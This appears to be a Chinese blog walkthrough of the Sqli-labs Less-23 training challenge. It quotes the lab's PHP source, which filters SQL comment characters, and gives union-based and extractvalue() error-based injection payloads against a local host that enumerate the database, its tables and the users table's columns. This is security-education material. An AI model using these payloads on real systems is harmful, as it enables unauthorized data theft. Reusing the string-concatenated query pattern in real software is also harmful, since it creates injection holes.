mysql闭合符号被过滤_Sqli-labs Less-23 绕过注释符过滤 union注入

最新推荐文章于 2024-03-02 20:00:06 发布

糯嘛

最新推荐文章于 2024-03-02 20:00:06 发布

阅读量561

点赞数

文章标签： mysql闭合符号被过滤

本文链接：https://blog.csdn.net/weixin_31054839/article/details/113635062

版权

博客讲述了在遇到MySQL中闭合符号被过滤的情况下，如何通过Sqli-Labs的Less-23挑战进行SQL注入。关键在于利用`union`构造查询，绕过注释符过滤，如使用`-1`确保第一个`select`无结果，`extractvalue()`进行报错注入，以及通过联合查询获取数据库名、表名、列名和数据。

摘要由CSDN通过智能技术生成

关键源码如下

$reg = "/#/";

$reg1 = "/--/";

$replace = "";

$id = preg_replace($reg, $replace, $id);

$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

print_r(mysql_error());

此处主要是在获取id参数时进行了#，--注释符号的过滤。

Solution：

此处的sql语句为

SELECT * FROM users WHERE id='-1' union select 1,(select database()),'3' limit 0,1

Explain：此处讲解几个知识点：

1、id=-1，为什么要用-1，因为sql语句执行了两个select语句，第一个select为id的选择语句，第二个为我们构造的select语句。只有一个数据可以输出，为了让我们自己构造的数据可以正常输出，第一个select要没有结果，所以-1或者超过数据库所有数据都可以。

2、-1' union select 1,(select database()),'3，第一个'(单引号)闭合-1，第二个'(单引号)闭合后面的。这样将查询内容显示在username处。

3、此处可以报错注入，延时注入，可以利用or '1'='1进行闭合。http://127.0.0.1/sql/Less-23/index.php?id=-1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1'='1

以上这条语句就是利用extractvalue()进行报错注入。

将select database()修改为其他的选择内容或者是内嵌的select语句。

4、以下用联合注入方法进行注入。

•获取数据库

http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

此处获取的数据库为security

•查看security库数据表

http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

•查看users表的所有列

http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3